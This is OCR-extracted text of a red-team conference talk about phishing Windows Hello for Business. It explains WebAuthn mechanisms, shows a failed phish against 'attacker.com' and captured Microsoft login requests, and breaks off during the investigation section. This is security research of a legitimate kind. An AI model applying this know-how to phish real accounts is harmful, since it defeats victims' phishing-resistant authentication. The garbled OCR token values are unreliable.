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ABOUT ME

RED TEAM & SECURITY RESEARCHER
@ ACCENTURE SECURITY ISRAEL

@yudasm_ on twitter

« Like learning & researching Windows,
Active Directory, Azure and anything
interesting

 Develop in C, C#, Python & Assembly

« EX private investigator

» Like to surf & play tennis

accenture

Yehuda Smirnov



ABOUT ME



AGENDA

e Intro to Windows Hello For Business (WHTB)
 Understanding WebAuthn AP

* |Investigation

* Proxy Phishing

« Mitigations



INTRODUCTION

 Windows Hello for Business (WHfB from now on) is considered
a phishing resistant authentication method.
« Discovered a method to phish Windows Hello for Business



WINDOWS HELLO




WINDOWS HELLO
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WINDOWS HELLO

: : X
== Windows Security

Accounts > Sign-in options

] ] F
Making sure it's you aveit

1Password is trying to unlock.
.. Facial recognition (Windows Hello)
e Sign in with your camera (Recommended)

PIN

'f?\ Fingerprint recognition (Windows Hello)
Qv Sign in with your fingerprint scanner (Recommended)

e Sign in with a PIN (Recommended)

| forgot my PIN




WINDOWS HELLO - TPM

« The TPM - Trusted Platform Module is a chip located on the

motherboard / CPU, which stores cryptographic keys directly
In the hardware.

\ S
T,

(T
v -
A0 700 WS

/‘ b\ l:

e

r

9\ v/
9 ! \ ¢
74 74
> e

p- o




WINDOWS HELLO - TPM

1 Enrollment - Windows Hello pin is
hashed & stored in the TPM




WINDOWS HELLO - TPM

1 Enrollment - Windows Hello pin is
hashed & stored in the TPM

2 Authentication - provide Windows
ello Pin, which is sent to the TPM
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WINDOWS HELLO - TPM

1 Enrollment - Windows Hello pin is
hashed & stored in the TPM

2 Authentication - provide Windows
ello Pin, which is sent to the TPM

Verification - TPM verifies the pin
by comparing the input PIN to the
hash stored
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WINDOWS HELLO FOR
BUSINESS




WINDOWS HELLO FOR
BUSINESS

E Microsoft

Sign In

C% Ign-in options




WINDOWS HELLO FOR
BUSINESS

m Microsoft

Sign-in options

Face, fingerprint, PIN or security key

'~ P e = bl = —= -
Use your device to sign in with a passkey.

-

an in to an o1




WINDOWS HELLO FOR
BUSINESS

== Windows Security

Sign in with your passkey
To sign in to “login.microsoft.com”, choose a passkey.

This request comes from the app "brave.exe” by “Brave Software,
Inc.”.

Microsoft
& someuser@gmai.com

P4 Face, fingerprint, PIN or security
key

n a security window. Follow the

Your device will op

More choices

instructions there to sign in.

:? someuser@gmai.com
3
&Y Uuser@company.com

«++ Use another device

Cancel




WINDOWS HELLO FOR
BUSINESS

Windows Security

; o | RV .
Making sure it's you m Microsoft

Sign in with your passkey to “login.microsoft.com” as Face, fi ngerp ri nt, PIN or secu rlty
"user@company.com"”. |( ey

This request comes from the app "brave.exe” by “Brave Software, : : : ;
Inc.”. Your device will open a security window, Follow the

instructions there to sign in.

| forgot my PIN




WINDOWS HELLO FOR
BUSINESS

Azure services

b —>

't Entra  Traffic b [ ' Guest Usages More services
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FIDO KEYS

 Fido Keys may act as a replacement for the TPM’s role in the

authentication

e« Can store cryptographic keys on them
 Also called Yubi keys, physical authenticators, security keys, etc




DEFAULT
AUTHENTICATION

« After performing successful authentication via Azure, the
default authentication method is set to that method




DEFAULT
AUTHENTICATION

« After performing successful authentication via Azure, the
default authentication method is set to that method




DEFAULT
AUTHENTICATION

= Microsoft

Sign in
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DEFAULT
AUTHENTICATION

== Windows Security

Sign in with your passkey
To sign in to “login.microsoft.com”, choose a passkey.

This request comes from the app "brave.exe” by “Brave Software,
Inc.”.

Microsoft
& someuser@gmai.com

P4 Face, fingerprint, PIN or security
key

n a security window. Follow the

Your device will op

More choices

instructions there to sign in.

:? someuser@gmai.com
3
&Y Uuser@company.com

«++ Use another device

Cancel




WINDOWS HELLO FOR
BUSINESS

Windows Hello forr
BlliSiinesss

-

Traditional
Passalords
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WINDOWS HELLO FOR
BUSINESS

Windows Hello for Acinmimistrator

BlliSiinesss
= 1

-

Traditional ’ "

,
Passwords

-

Can’t you just phish that
password too?



WINDOWS HELLO FOR

BUSINESS

Windaie Lalla fae AR . - o ~
WebauthinrAPI




DEMONSTRATION




DEMONSTRATION - ATTACKER'S SITE

Microsoft
Si

gn in

yehuda.smirnov@company.com

Q Sign-in options




DEMONSTRATION - FAILED PHISH

== Windows Security
Sign in with your passkey

To sign in to "attacker.com”. choose a device with a saved
passkey.

Security key

Maore choices

o= iPhone, iPad, or Android device

I E| Security key

Mext Cancel



DEMONSTRATION - FAILED PHISH

== Windows Security
::.ﬂ“ :H Ill:*l‘. T F B “H.ﬂﬂl’.ﬂ‘.j

To sign in to "attacker.com", choose a device with a saved
passkey.

Maore choices

gﬁ iPhone, iPad, or Android device

I ﬂ Security key

Mext Cancel



WEBAUTHN
API




WEBAUTHN
API

Protects against
phishing

* https://developer.mozilla.org/en-
US/docs/Web/API/Web_Authentication_API



WEBAUTHN

o)

API N
m® m-
S § 1
Protects against Reduces impact
phishing in case of breach

* https://developer.mozilla.org/en-
US/docs/Web/API/Web_Authentication_API



WEBAUTHN

o)

API N
m® .-
S 1 B
Protects against Reduces impact
phishing in case of breach

PASSW HEIN

Protects against
password attacks

* https://developer.mozilla.org/en-
US/docs/Web/API/Web_Authentication_API



WEBAUTHN

API £
m® m-
S 1 B
Protects against Reduces impact
phishing in case of breach

« Enables creation and use of
secure, scoped and verified
public key based credentials.

PASSWHER

Protects against
password attacks

* https://developer.mozilla.org/en-
US/docs/Web/API/Web_Authentication_API



MECHANISMS

Challenge Signhature Origin Check Assertion




MECHANISMS - CHALLENGE

Challenge



MECHANISMS - CHALLENGE

"challenge":
"Ty5leUowZVhBaU9pSKtWMVFpTENKaGIHY21PaUpTVXpJIMUSpSXNIbmexZENINKLIrMUhUSEZXT1ROVIR
reHZXROZHWMSCS1EWSndaMEKWU21GTGNSS jKuZXLKaGRXUWLPaUoxY200NmIXbGpjbT16YjJaMEItWNB
aRzg2WTJoaGJIHeGx1bWRsSW13aWFYTnpJam9pYUhSMGNITTZMeTLlzY jIKCcGIpNXRhVO55Y JNOdLpulXyV
ZMjlesSWl3aWFXRjBJIam9uTnpFNUSUY3INamNUTENKAVLtWWLPakUzTVRrMUS6SX10ekVzZSWIWNGNDSTZ
NVGNUT1RVMO1qVTNNWDAURDhUTEINVWENTVNUamxJVeJjdVZKTGplX21PeWo3Z2x0TzUXNOFMTEFEUUg
2MTJiczVMTHY5dKVITUtLR2RUMEFUM3BjWULwVFVWT jJAWRLVPQjNyU29ic TNtWS14S1QyNmIXN3dWOFd
(3|1ga||53r]£353 pVZ1XYNVNVWh6RLFZQUWpFQLRNN3dIbkdfv2hhd jBnNHhBAWZ FNUc1VnFrM3VFZVpXeFh5R1g5U3NxXcVh
VRDZUVUSHT2RrUHBGQOSSOFZXROIUZK1rV192dTBraFFnOThYUBSKeUNIUGVZCcHZUMLILAEISZ2pYY 3N
SRORXSMFLTHE2bKF60HROSZZYUUFTrSVN6VTBLS1VocnQUdHdQbmSpenVTQWM3TGVrR2ZXZFBDYLUZZEL
VYUMwcUxFUzVmSDBTS LRpdERLcHdPRNhtZkx6S0plU19TZ1J1ZHBfYk1majIXRFBPbkoyREXFWVNN"

 Unique challenge (nonce) issued by the server
- Must be sighed using the appropriate private key
* Private key is stored in the TPM / Fido key



MECHANISMS - SIGNATURE
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Signature




MECHANISMS - SIGNATURE

"1d":"LAVONnVKYSV1234dizHi1id632FEzb7G1_NrGnHKkré6paZE",
"clientDataJSON": "eyJOeXBLl...snip...vLmdsL3LhYLBleCJ9",
"authenticatorData": "NWyelKCTIbLpXx6vkYID8bVF123UmH7yWGEWVFfdpoDIEFAAAAAA",

"signature":

"bg6usSVVUUFFIZyM56Zz3EFfVKOMYANpvsSUYNTHLDSd9m609V1Yhr~-kc20zWOGFOcIzb8KJKIXMt1BWK
eUL74_QEp0a6lhTJIouX9PkXxd-NPUUICLcBUxquldV77SGUx8q8ne3Hrbmb_PLlFVK42uTvfLlfxJqBgmk
. Ch5HPHHS5XFfJOVv3YZVpG2215MaqgcMuVeal2Fxb65hMvoBemwa95V1iKayBSSKyA3MbhPgaSrTGb5ogwePh
Si gna ture wOtLEUU1EVKthInptHVRDqUJIUbOCI3ntOYKplvXxUZ_3wjinc8V1zFfpD2SULOVX3daEpI8nDNrp_SKx5gA

OfnD6IBU4acS973XDvXtWrcQ",

"userHandle":
"TOU60T1S5UDKIbUmXKRMO3Zas jcOUtUjew3xhW78NWIE2 _GoM7JpaLF8WPJICKkBLe7Nnas™

 Client browser interacts with the operating system
 Signs the challenge using the user's private key
(commonly in TPM / Fido)




MECHANISMS - ORIGIN CHECK

Origin Check



MECHANISMS - ORIGIN CHECK

"type": "webauthn.get",

"challenge":
"Ty5leUowZVhBaU9pSKtWMVFpTENKaGIHY21LPaUpTVXpIMUSpSXNIbmcXZENINKLrMUhUSEZXT1RoVIR
.. .Snip...tZkx6SOpLU19TZ1J1ZHBfYk1imajIxRFBPbKoyREXFWVNN",
"origin":"https://login.microsoft.com",

"crossOrigin":false,

"other_keys_can_be_added_here":

"do not compare clientDataJSON against a template. See https://goo.gl/yabPex"

Origin Check }

 Origin defined by protocol (http / https), , and
port - https:// 443

* Origin field is a header, automatically set by the browser, likely
to prevent domain spoofing

« Checked by both client browser and server



MECHANISMS - ASSERTION

Assertion



MECHANISMS - ASSERTION

type=23&ps=23&assertion=
%7B%221d%22%3A%22LAVONVKYSVIUNPdizH1id632FEZb7Gi_NrGnHKré6paZE%22%2C%22clientDataJSON%22%3A%22eyJ0eXBLlIjoid
2ViYXveaGuuz2veIiwiY2hhbGx1bmdlI joiVHKk1bGVVb3daVmhCYVUScFNrdFdNVKZWVEVOS2FHSKhZMmxQYVVWVFZYCEpNVTVWU1hOSm
JtY3haRUSKTmtscklVaFVTRVpUVDFSb1lYxUnJLSFpYUjBaSFAtNUNTMUV3U25kYU1Fa3dVMjFHVEdONVNga3VawWGxLYUdSWFVXbFBhVIW9
UWTIWMEStSLhiR3BqYLRSNLLgSmFNRTLOV25CYVI6ZZzIXVEpVYUdKSGVHeGLiV1JzUldsM2FXRLLUbnBKYWOScFLVaFNNROSIVFRaTWVU
bHpZakprY@dKcESYUmhWMDU1WWpPOT2RScHVVWFZaTWpsMFNXbDNhVOZYUmpCSmFtOTRUbNBGTLUIVVKZbEShbUUBVEVOS2RWbHRXV2XQY
WtVe LRWUNJINVTU2U1hsT2VrVnpTVZFXTKdORFNUWKSWROUOVDFSVROWMXFWVESOVORBAVIEaHVURUpuVLdeblLRWTLVhbXhKY jBRamRWWK
tUR3BsWDIXUGVXbzNaMnhPVHpVeEU4WRKI1URUZFVVVNMK1USmML jeLZNVEhZNWRrVKpUVXRMUJISdO1IFRLVNMOIqV1UXxd1ZGVLldUakF3Umx
WUFFQTNLVMjLpY1ROAFATMTRTMVFSTm1KeE4ZzZFAPRMRWnpsWFLuVKSWV2g2UmxGe LFXcGZRbFJOT JNKSmIrZGZWMmhoZGpCbk5IaEJK
VipmTLlVJMVZURNJNM1ZGWLZWWGVGaDVSMWc1VTNOeGNWaAHZSRFpVVLU1SFQyUnJVSEJHUTAL1cO9GWNhSMEpVWmMsxc1lZsOTJIKVEJYYUZGb
k9UaFLVMDVLZVVOSVVHVLpjSFoOTWWSTGRFSINaMNBZWTNOC1IwULhTbUZMVEhFMmIrRJZPSFIwU3paWVVVRNITVKU2VIRCbFMxVm9jbl
A S S e rt i O n EOZEhKUWItNXBLbLZUUVANM1IRHVNISMLpYWKZCRFLsVXpaRWxWWVVNd2NVeEZVelZtUORCVFNsUNBKRVIsYOhkUFJuaHRaa3g2UzBwbFU
xOVRaMUoxWKhCZ1lrMWlhakpdUKZCUGIrb31SRXhGV1ZObiIsIm9yaWdpbiI6ImhOdHBZz0i8vbGInaWdubWljcm9zb2ZOLmNvbSISImNy
b3NzT3JpZ2luljpmYWxzZSwib3RoZXJfa2v5c19jYWs5FYmVFYWRKZWRfaGVyZSI6IMRVIGSvdCBjb21wYXJILIGNsaWVudERhdGFKU@90I
GFNnYWluc3QgYSBOZW1wbGFOZSUgU2V1IGhOdHBz018vZ29vLmdsL31hY1lBleCJ9%22%2C%22authenticatorData%22%3A%22NWyelKC
TIblpXx6vkYID8bVfaJl2mH7yWGEWVfdpoDIEFAAAAAA%22%2C%22s1gnature%22%3A%22bg6usSvVUUFFIZyM56z3EfvKOMyANpvsSuY
NTHLDS5d9Im609V1Yhr-kc20zWOGFOcIzb8KJKIXMt1BWKeUL74_QEpPa61hTJIOUX9PKXxd-NPUUICLcBUxquldV77SGUx8q8ne3Hrbmb_P
LFVRU2uTvFLfxIJqBgmkChSHPHHS5XFJOV3YZVpG2215MxqcMUVqRyVFxb65hMvoBemwa95V1KayBSSKyA3MbhPqaSrTGbSogwePhwoOtLEU
41EVKthInptHVRDqUJIUbOcI3ntOYKkplvxUZ_3wjnc8V1izfpD2SULOVX3daEpI8nDNrp_SKx5gAOfnDE6IBUAcS973XDvXtWrcQ%22%2C%2
2userHandle%22%3A%22T0460T154DKIbUnXKRMO3ZFv6eyOUtU jew3xhW78NWIE2 _GoM7JpalF8WPJICkBle7Nna5%22%7D&LmcCanary=

 Client returns the encrypted challenge, along with the origin field
- Both are sighed with the private key
 This entire package is termed - assertion



MECHANISMS - ASSERTION

{
‘Jssc)rq "1d": "LAVONnVKYSV1UNPd1zH1d632FEZzb7G1_NrGnHKrépaZE",
"clientDataJSON": "eyJOeXBlIjoid2V...snip...YLBLeCJ9",
"authenticatorData": "NWyelKCTIbLlpXx6vkYID8bVfal2mH7yWGEWVFfdpoDIEFAAAAAAY,
"signature": "bg6usSvVul. ..snip...973XDvXtWrcQ",
ASSGI’tiOﬂ "userHandle": |

"TOU60T1SU4DKIbUMXKRMO3ZFveyOUtU jew3xhW78NWIEZ2 _GoM7JIpalLF8WPICkBLe7NnasS"

}

 Client returns the encrypted challenge, along with the origin field
- Both are sighed with the private key
 This entire package is termed - assertion



MECHANISMS - ASSERTION

"type": "webauthn.get",
"challenge":"Ty5leUowZ...snip. .. JIXRFBPbkoyREXFWVNN",
"origin":"https://login.microsoft.com",

JSON
"crossOrigin":false,

AS sert | on "other_keys_can_be_added_here":
"do not compare clientDataJSON against a template. See https://goo.gl/yvabPex"

 Client returns the encrypted challenge, along with the origin field
- Both are sighed with the private key
 This entire package is termed - assertion



MECHANISMS

Challenge Signhature Origin Check Assertion




MECHANISMS
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ARCHITECTURE




ARCHITECTURE - REGISTRATION




ARCHITECTURE - REGISTRATION

A

-

Step 1
« User logs in with username & password/MFA

« Chooses to create a new credential (e.g. Fido / WHfB)



ARCHITECTURE - REGISTRATION

4

Step 2
« Server ("Relying-party") script runs in the client browser



ARCHITECTURE - REGISTRATION
s a

WebAuthn API in client Side Server Side Web
m browser JavaScript App
1. “Relying
1il; Ay
T Client Platform —: m —
Physical | | !I!
Authenticator TPM /
Software
Step 2

« Server ("Relying-party") script runs in the client browser

« Utilizes the Client Platform (user-agent header and device -

aptop, mobile)



ARCHITECTURE - REGISTRATION

ebAuthn API in
browser

Server Side Web

App

ient Platform

 Client platform connects to the authenticator (e.g., Fido / TPM)
- Requests an authorization gesture from the user (e.g., fingerprint,
Windows Hello)



ARCHITECTURE - REGISTRATION

ebAuthn API in
browser

Server Side Web

App

ent Platform

Step 3
 Client platform connects to the authenticator (e.g., Fido / TPM)

- Requests an authorization gesture from the user (e.g., fingerprint,
Windows Hello)



ARCHITECTURE - REGISTRATION

8

T

Step 4

« |f authorized, a new credential (private key) is created



SECURITY - CREDENTIAL




SECURITY - CREDENTIAL

Public Key



SECURITY - CREDENTIAL

Public Key Private Key



ARCHITECTURE - REGISTRATION

Server Side Web
App

B

T

Step 4
« Stored within the authenticator (TPM / Fido)



ARCHITECTURE - REGISTRATION

Server Side Web

st App
T

Step 5

« Credential's public key is sent to the server
 Attestation containing additional information is also sent



ARCHITECTURE - AUTHENTICATION




ARCHITECTURE - AUTHENTICATION

.

Step L

« Server ("Relying-Party") serves a script to users




ARCHITECTURE - AUTHENTICATION

Step 1

« Script requests an challenge (nonce) from the server




ARCHITECTURE - AUTHENTICATION

Server Side Web

Step 1

« Script requests an challenge (nonce) from the server

« Server returns the challenge to the client ﬁ—,_—-




ARCHITECTURE - AUTHENTICATION

Step 1
 Interacts with the WebAuthn AP




ARCHITECTURE - AUTHENTICATION

ebAuthn API in
browser

Server Side Web

App

s
Client Platform

« Browser utilizes the client platform to request hardware

authorization




ARCHITECTURE - AUTHENTICATION

ebAuthn API in
browser

Server Side Web

App

Client Platfo

 Following user authorization, client platform searches for
potential credentials (relevant private key)




SECURITY - ORIGIN

WebAuthn API Microsoft.com Github.com

“ useri “ user3
“ user2 0 userd




SECURITY - ORIGIN

'y -
- ’ - -
~,

| r— |
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What credentials
are available for

Microsoft.com?

WebAuthn API Microsoft.com Github.com

0 useri 0 user3
“ user2 v userd



SECURITY - ORIGIN

WebAuthn API Microsoft.com

0 useri
“ user2



SECURITY - ORIGIN

F UTHTHT ]
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(origin) credentials

mmﬂw

— re— P . ——— v 00—

WebAuthn API Microsoft.com

0 useri
“ user2



ARCHITECTURE - AUTHENTICATION

b4

== Windows Security

Sign in with your passkey
To sign in to “login.microsoft.com”, choose a passkey.

This request comes from the app "brave.exe” by “Brave Software,
Inc.”.

userl@gmail.com

L
P
Mare choices

| =i userl@gmail.com

=i userZ@company2.com

«s+ Use another device




ARCHITECTURE - AUTHENTICATION

Server Side Web

App

Step 4

 Client platform signs the challenge using stored private key (Fido
key /| TPM / software)




ARCHITECTURE - AUTHENTICATION

.k

T

Step 4
 Client platform signs the challenge using stored private key (Fido

Server Side Web

App

key /| TPM / software) T




ARCHITECTURE - AUTHENTICATION

T

Server Side Web

App

Step 4
« Client returns the signed assertion (includes challenge) to server.




ARCHITECTURE - AUTHENTICATION

~
~

[//11
AN

"type": "webauthn.get",

"challenge": "TyS5leUowZ...snip. .. JIXRFBPbkoyREXFWVNN",
"origin":"https://login.microsoft.com",

"crossOrigin":false,

"other_keys_can_be_added_here":

"do not compare clientDataJSON against a template. See https://goo.gl/vabPex"

~
~

~ ~
~ ~



ARCHITECTURE - AUTHENTICATION

Assertion

~

[//11
AN

"type": "webauthn.get",
"challenge":"Ty5leUowZ...snip...]JJIXRFBPbI} AFWVNN",
"origin": "https://login.microsoft.com",
"crossOrigin":false,

"other_keys_can_be_added_here":

"do not compare clientDataJSON against a template. See https://goo.gl/yabPex" N,

~
~



ARCHITECTURE - AUTHENTICATION

R



ARCHITECTURE
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INVESTIGATION

O E WK

O 09

POST /common/login HTTP/2

Host: login.microsoftonline.com

Cookie: ...snip...

Origin: https://login.microsoft.com

Content-Type: application/x-www—form-urlencoded

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/125.0.6422.112 Safari/537.36

type=23&ps=23&assertion=

%7B%221d%22%3A%22LAVONVKYSV1UNPdizHid632FEZb7Gi_NrGnHKré6paZE%22%2C%22clientDataJSON%22%3A%22eyJ0eXBlIjoid
2ViyXveaGuuz2veIiwiY2hhbGx1lbmd1lI joiVHk1bGVVb3daVmhCYVUScFNrdFdNVKZwWVEVOS2FHSKhZMmxQYVVWVFZYCEpNVTVRU1hOST
JtY3haRUSKTmtscklVaFVTRVpUVDFSblYxUnJLSFpYUjBaSFAtNUNTMUV3U25kYU1Fa3dVMjFHVEdONVNga3VaWwGxLYUdSWFVXbFBhVWI
UWTIWMEStSLhiR3BqYLRSNLLqSmFNRTLOV25CYVI6ZZIXVEpVYUdKSGVHeGLiV1JzUldsM2FXRLLUbNBKYWOScFLVaFNNROSJIVFRaTWVU
bHpZakprYOdKcESYUmMhWMDUIWWpPOT2RscHVVWFZaTWpsMFNXbDNhVOZYUmpCSmFtOTRUbNBGTLU1VVKkZDEShbUUOVEVOS2RWDbHRXV2XQY
WtVe LRWUNINVTU2U1hsT2VrVnpTVzZFXTKAORFNUWKSWROUOVDFSVKOWMXFWVESOVORBAVIEaHVURUpUVLdObTRWTLVhbXhKY jBKamRWWK
tUR3BsWDIxXxUGVXbzNaMnhPVHpVeEU4wRKIURUZFVVVNMK1USML jeLZNVEhRZNWRrVKpUVXRMUJISAdO1FRLVNMOIqV1UXxd1ZGV1ldUakF3Umx
WUFFGTNLVMjLlpY1ROAFATMTRTMVFSTm1KeEUZZFdPRmMRWYnpsWFLuVkSwWV2g2UmxGeLFXcGZRbFJOT jNKSmIrZGZWMmhoZGpCbkSIaEJk
VipmTLlVjMVZUuRnJINM1ZGWLZwWGVGaDVSMWc1VTNOeGNWaHZSRFpVVLU1SFQyUnJVSEJHUTAL1cO9GWNhSMEpVIWmMsxc1ZsOTIKVEJYYUZGD
K9UaFLVMDVLZVVOSVVHVLpjSFoOTWWSTGRFSINaAMNBZWTNOC1IwULhTbUZMVERFMmIrRjZPSFIwU3paWVVVRNITVKU2VIRCbFMXxVm9jbl
EOZEhKUWItNXBLbLZUUVANMIRHVNISMLpYWKZCRFLsVXpaRWxWWVVNd2NVeEZVelZtUORCVFNsUNBKRVIsYOhkUFJuaHRaa3g2UzBwbFU
x0OVRaMUoxWKhCZ11lrMWlhakp4UKRZCUGIrb31SRXhGV1ZObiIsIm9yaWdpbiI6ImhOdHBz0i8vbGonaWdubWl jcm9zb2ZOLmNvbSIsImNy
b3NzT3JpZ2lul jpmYWxzZSwib3RoZXJfa2V5cl9jYWSFYmVFYWRKZWRFfaGVyZSI6ImRVIGSvdCBjb21wYXJI1LIGNsaWVudERhdGFKU@90I



INVESTIGATION

"id":"LAVONVKYSVIUNPdizHi1d632FEzb7Gi_NrGnHkrépaZE",
"clientDataJSON": "eyJOeXBLlIjoid2ViVYXVOaGUuuZ2VeIiwi...snip....mdsL31hYlBleCJ9",

"authenticatorData": "NWyelKCTIbLlpXx6vkYID8bVfal2mH7VvWGEWVFfdpoDIEFAAAAAA",
"signature":
"bg6usSVVUUFFJIZyM56Zz3EfVKOMYyANpYsSuUYNTHLDSd9m609V1Yhr—kc20zWOGFOcIZzb8K JKIXML1BWK
eUL74_QEp0a61hTJIOUXIPKXxd-NPUUICLcBUXxqULldV775GUx8q8ne3Hrbmb_PLFVKU2uTvfLfxJqBgmk
ChS5HPHHS5XfJOV3YZVpG221i5MxqcMUVqRyVFxb65hMvoBemwa95V1KayBSSKyA3MbhPqaSrTGb5ogwePh
WOtLEUU1EVKThInptHVRDqUIUbOcI3ntOYkplvxUdZ_3wjinc8V1lzfpD2S4LOVX3daEpI8SnDNrp_SKx5gA

OfnD6IBU4acS973XDvXtiWreQ",

‘"userHandle":
"TOU60T1S5UDKIbUMXKRMO3ZFveyOUtU jew3xhW78NWIE2 _GoM7JpalF8WPJCKkBLle7Nnas"

}

-
{
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INVESTIGATION

N mmm—— e
{

id" - "L AVONVRYSVIUNPAI ZHIAAR3I2EEZh TG _NrGnHkrAnpaZE" :
"clientDataJSON": "eyJ0eXBlIjoid2ViYXVOaGUuZ2VOIiwi. .. .snip....mdsL31hYlBleCJ9",

"authenticatorData": "NWyelKCTIblpXx6vkYID8bVFfal2mH7yWGEWVfdpoDIEFAAAAAA",
"signature":
"bg6usSVVUUFFJIZyM56Zz3EfVKOMYyANpYsSuUYNTHLDSd9m609V1Yhr—kc20zWOGFOcIZzb8K JKIXML1BWK
eUL74_QEp0a61hTJIOUXIPKXxd-NPUUICLcBUXxqULldV775GUx8q8ne3Hrbmb_PLFVKU2uTvfLfxJqBgmk
ChS5HPHHS5XfJOV3YZVpG221i5MxqcMUVqRyVFxb65hMvoBemwa95V1KayBSSKyA3MbhPqaSrTGb5ogwePh

WOtLEUU1EVKThInptHVRDqUIUbOcI3NntOYkplvxUdZ_3wjnc8V1lzfpD2S4LOVX3daEpI8SnDNrp_SKx5gA

OfnD6IBUacS973XDvXtiWreQ",

"userHandle":
"TOU60T1S5UDKIbUMXKRMO3ZFveyOUtU jew3xhW78NWIE2 _GoM7JpalF8WPJCKkBLle7Nnas"

}
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"type": "webauthn.get”,
"challenge": s
"Ty51leUowZVhBaU9pSKtWMVFpTENKAGIHY21PaUpTVXpJIMUSpSXNIbmexZENINKLrMUhRUSEZXT1RoV1R
reHZXROZHWMSCS1EWSNndaMEKwU21GTGNSS JRuZX1LKaGRXUWLPalUoxY200NmIXbGpjbTLl6Y jJaME9tWnE
aRzg2WTJoaGJIHeGxibWRsSWL3aWFYTnpJam9pYUhSMGNITTZMeT1lzY jIKcGIpNXRhVOS55Y JNOdLpulXyV A
ZMjLOSWL3aWFXRjBJIamoUTnpFNUSUY3LNamNUTENKAVLtWWLPakUzTVRrMUS6SX10ekVZSWIWNGNDSTZ R
NVGNU4TIRVMO1gVTNNWDAURDhUTEINVWENTVNUamxJIVOI JdVZKTGpLX21PeWo3Z2x0TZUXNOFMTEFEUUg m
2MTJiczVMTHYSdKVITUtLR2RWMEFUM3B JWU1wWVFVWT JAWRLVPQJNYyU291icTNEWS14S1QyNmIXN3dWOFd
pVZLXYNVNVWh6R1FZQWpFfQLRNN3dIbkdfV2hhd JBnNHhBAWZFfNUc1VnFrM3VFZVpXeFh5R1g5U3NxcVvh
VRDZUVUSHT2RrUHBGQOS5SOFZXROJUZKIrV192dTBraFFNOThYUOSKeUNIUGVZCcHZUMLOLAEISZ2pYY3N
SRORXSMFLTHE2bKF60HROSZZYUUFrSVN6VTBLS1VocnQudHdQbmSpenVTQWM3TGVrR2ZXZFBDYLUZZEL

VYUMucUXFUzVmSDBTSLRRAERLcHAPRNhtZKkx6S0plU19TZ1J1ZHBfYKk1ma jIxRFBPbkoyREXFWVNN",
'"origin":"https:/llogin.microsoft.com"y

"crossOrigin":false,
"other_keys_can_be_added_here":
"do not compare clientDataJSON against a template. See https://goo.gl/yabPex"



INVESTIGATION
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"type": "webauthn.get",

"challenge": |®
"Ty5leUowZVhBaU9pSKtWMVFpTENKaAGIHY21PaUpTVXpIMUSpSXNIbmexZENINKLrMUhUSEZXT1RoVI1R

TeHZXROZHWmSCS1EwSndaMEKWU21GTGNSS jKuZX1KaGRXUWLPaUoxY200NmIXbGpjbTL6Y jJaMEStWnE
aRngWTJoaGJHeanWRsSWlBaWFYTnpJam9pYUhSMGNITTZMeT1zY JJIKCGIpNXRhVO55Yj NOdlpuUXV( g
ZMjLOSWL3aWFXRjBJIam94TnpFNUSUY3LNamNU4TENRAVLItWWLPakUZTVRrMUS6SX10ekVZSWIWNGNDSTZ -

=NVGNHTIRVMOlq\ITNNWDAuRDhuTEJnVWt nTVNUamxJVeJj dVZRTGplX21PeWo3Z2xOTzUxNOFMTEFEUUg -~
2MTJiczVMTHYSdKVITULLR2RWMEFUM3B JWUlwVFVWT JAWRLVPQ] NyU291cTNtWS1“51QmeJxN3dw0Fd
PVZLXYNVNVWh6RLFZQWpFQLRNN3dIbkdfV2hhdj BnNHthWZ‘FNUc1VnFrM3VFZVpXth5R195U3Nchh
;'vRDZUVUSHTZRrUHBGQOSsOFZxROJUZkerlQZdTBraFFnOThYUO5ReUNIUGVZcHZMMlQLdEJSZZpYY3N
SRORXSMFLTHE2bKF60HROSZZYUUFrSVN6VTBLS1VocnQudHdQbmSpenVTQWM3TGVIrR2ZXZFBDYLUZZEL
{VYUchUxFUszSDBTSldeERchdPRnhtka6SBplUlQTZlJlZHBfYklmaJJxRFBPbkoyRExFWVNn"

"origin":"https://login.microsoft.com",

"crossOrigin":false,

"other_keys_can_be_added_here":

"do not compare clientDataJSON against a template. See https://goo.gl/yabPex"
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INVESTIGATION

BT Microsoft

Sign-in options




INVESTIGATION

POST /common/GetCredentialType?mkt=en-US HTTP/1.1

Host: login.microsoftonline.com

Cookie: ..snip...

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé64d; x64) AppleWebKit/537.36 (KHTML, Llike Gecko) Chrome/126.0.6478.57
Safari/537.36

Content-Length: 1938

Content-Type: application/json; charset=UTF-8

Accept-Encoding: gzip, deflate, br

Priority: u=1l, 1i

EWN M-

0 Jo0n 00

"username": "user@company.com",
"isOtherIdpSupported":true,

"checkPhones":false,

"isRemoteNGCSupported":true,
"isCookieBannerShown":false,
"isFidoSupported":true,

"originalRequest": "rQQIARAAhZK_j9te®AMX]j5C...snip...SydXuflcv_Qcl",
"country":"IL",

"forceotclogin":false,
"isExternalFederationDisallowed":false,
"isRemoteConnectSupported":false,
"federationFlags":0,

"isSignup":false,

"flowToken": "AQABIQEAAAAPT...snip...E4dgigEdwgAA",
"isAccessPassSupported":true



INVESTIGATION

1 |POST /common/GetCredentialType?mkt=en-US HTTP/1.1

2 Host: login.microsoftonline.com

3 Cookie: ..snip...

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57
Safari/537.36

5 Content-Length: 1938

6 Content-Type: application/json; charset=UTF-8

7 Accept-Encoding: gzip, deflate, br

g |Priority: u=l, 1

9 Connection: keep-alive

LO

11 | €

"username": "user@company.com",
"isOtherIdpSupported":true,

"checkPhones":false,

"isRemoteNGCSupported":true,
"isCookieBannerShown":false,
"isFidoSupported":true,

"originalRequest": "rQQIARAAhZK_jo9t@AMX]j5C...snip...SydXuflcv_Qcl",
"country":"IL",

"forceotclogin":false,
"isExternalFederationDisallowed":false,
"isRemoteConnectSupported":false,
"federationFlags":0,

"isSignup":false,

"flowToken": "AQABIQEAAAAPT...snip...E4dgigEdwgAA™,
"isAccessPassSupported":true



INVESTIGATION

1 |POST /common/GetCredentialType?mkt=en-US HTTP/1.1

2 Host: login.microsoftonline.com

3 Cookie: ..snip...

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57
Safari/537.36

5 Content-Length: 1938

6 Content-Type: application/json; charset=UTF-8

7 Accept-Encoding: gzip, deflate, br

g |Priority: u=l, 1

9 Connection: keep-alive

LO

11 | €

"username": "user@company.com",
